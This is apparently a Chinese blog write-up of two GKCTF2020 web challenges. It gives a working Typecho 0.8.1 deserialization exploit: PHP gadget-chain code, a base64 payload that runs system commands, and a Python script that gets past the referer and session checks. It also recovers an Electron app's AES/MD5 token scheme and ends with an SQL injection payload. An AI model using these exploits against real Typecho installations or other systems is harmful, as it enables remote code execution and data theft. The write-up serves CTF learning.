[GKCTF2020]web后边两道题(接上)

EzTypecho

有一个附件可以下载,是网站的源码

打开网站是一个Typecho网站的安装页面

果断搜索漏洞,之前可以考虑看下信息,发现changlog.txt文件中有版本信息-0.8.1

然后上网搜索Typecho漏洞,发现了两个反序列化漏洞,Typecho反序列化漏洞导致前台getshellTypecho反序列化漏洞复现分析,想研究清楚可以去原文看,这里就讲利用,我们这里的版本是满足两个漏洞的,然后都可以用一个exp生成payload,我们这里使用下面的poc生成payload

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'system("cat /flag");';
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

然后这里还需要绕过限制条件进行访问

两个漏洞公共的限制条件

文章中有说需要finish,但是这题并不需要

这里有个referer检测,绕过方法,加上referer字段,内容就是url

referer: http://5f9ebdd9-c2f2-4f43-a362-1fbda863deb8.node3.buuoj.cn

然后就是两个漏洞分别的限制条件了,先看第一个漏洞

这里比官方漏洞多了个session的判断,需要绕过,然而前面的session_start();被注释掉了,所以需要找漏洞绕过,然后最前面还有个finish的get判断,然后下面是官方题解给的办法

得知在文件上传时POST⼀个与PHP_SESSION_UPLOAD_PROGRESS同名变量时会在session中添加数据,从而绕过session检测
使用下面的exp打过去
import requests

url = 'http://5f9ebdd9-c2f2-4f43-a362-1fbda863deb8.node3.buuoj.cn/install.php'
files = {'file': 123}
headers = {
    'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6 IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi 4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhv ciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYX JhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlw ZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicH JlZml4IjtzOjQ6InRlc3QiO30=',
    'Referer': 'http://5f9ebdd9-c2f2-4f43-a362-1fbda863deb8.node3.buuoj.cn/install.php'
    }
re = requests.post(url, files=files, headers=headers, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"})
print(re.text)
 

再看第二个漏洞

只检测了start是否有get传参,这个是比较简单的,直接get传参加前面的referer就完了

Node-Exe

hint:程序为electron程序

贴一下官方wp涨涨姿势

通过安装之后寻找源文件,或者对可执行文件binwalk,也可发现其中有7zip格式的文件,可以解压缩获得源文件,故此过程不再赘述。

安装后执行程序,填写靶机地址后,用户名密码为admin直接进入。

点击购买后,两个按钮都是没有用的假flag,故题目flag一定是无法购买的final  flag。

通过抓包发现,请求除了包含基本的请求体,还有一个token。每次token请求均不同,且更改请求体后token失效,请求也无法重放,所以推断出token必然是以一定规则在本地生成的。

找到程序所在目录,确认程序为electron程序后,不难得知网页文件均打包于.\resources\app.asar下。用node的asar工具解包:

asar extract ./app.asar ./ext/

便可得到webpack网站的源文件,查看package.json,发现页面是基于vue构建的,同时也发现了库crypto和js-md5。所以即使js源文件被webpack,也可以通过搜索methods关键词找到token生成函数的位置,同时推测token加密使用了md5和另一种加密方式。

此处的methods中包含了“encrypt”,“makeToken”等关键词,定位到此处应为token生成位置,单独提出对代码进行格式化,得到加密函数:

不难看出,加密使用了aes加密,转到调用函数寻找key和iv

makeToken: function(e) {
               var i = this;
               return c()(a.a.mark((function t() {
                   var o, r;
                   return a.a.wrap((function(t) {
                       for (;;) switch (t.prev = t.next) {
                       case 0:
                           return "31169fedc9a20ecf",
                           "d96adeefaa0102a9",
                           o = f()(n()(e)),
                           t.next = 5,
                           i.encrypt("31169fedc9a20ecf", "d96adeefaa0102a9", o);
                       case 5:
                           return r = t.sent,
                           t.abrupt("return", r);
                       case 7:
                       case "end":
                           return t.stop()
                       }
                   }), t, i)
               })))()
           },

可以得知加密使用的key和iv,但传入加密函数的并非传入生成函数的参数e,而是经过f和n函数处理得到的结果o,所以依然需要寻找函数f和函数n。但此时已经可以根据获得的key和iv对token进行初步解密了。解密后是一串长度为32的字符,基本可以推断这是一些信息的md5加密结果。回到renderer.js,格式化整个文档后,module结构如下:

module.exports = function(e){...}([function(e){}...]);

这一格式为js的IIFE函数,这种函数在定义处便执行,其中的变量不可从外部访问。我们从他的定义函数中寻找未知的函数n

此函数实现的js引擎中的stringify基础功能的一部分,用于解析字符串。结合请求体,可推断处调用的函数为toString(),不过此处并不重要,我们先前已经得知使用了md5加密。

接下来分析请求函数:

buyFlag: function(e) {
               var i = this;
               return c()(a.a.mark((function t() {
                   var o;
                   return a.a.wrap((function(t) {
                       for (;;) switch (t.prev = t.next) {
                       case 0:
                           return o = {
                               id: e,
                               timestamp: Date.parse(new Date)
                           },
                           t.t0 = i.$http,
                           t.t1 = i.url + "/buyflag",
                           t.t2 = o,
                           t.next = 6,
                           i.makeToken(o);
                       case 6:
                           t.t3 = t.sent,
                           t.t4 = {
                               token: t.t3
                           },
                           t.t5 = {
                               headers: t.t4
                           },
                           t.t6 = function(e) {
                               i.$Modal.info({
                                   title: "购买结果",
                                   content: e.data[0].flag
                               })
                           },
                           t.t0.post.call(t.t0, t.t1, t.t2, t.t5).then(t.t6);
                       case 11:
                       case "end":
                           return t.stop()
                       }
                   }), t, i)
               })))()

对照得知,传入makeToken函数的是请求体。至此审计结束,得到了token是由MD5

加密过的带timestamp的请求体后使用aes加密得到,之后便可自行发起请求。

根据返回的前两个flag的id分别为1和2,尝试获取id为3的flag时会提示无法购买,此时

通过构建payload注入即可获得flag。

payload:

1"or(id=3)#

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值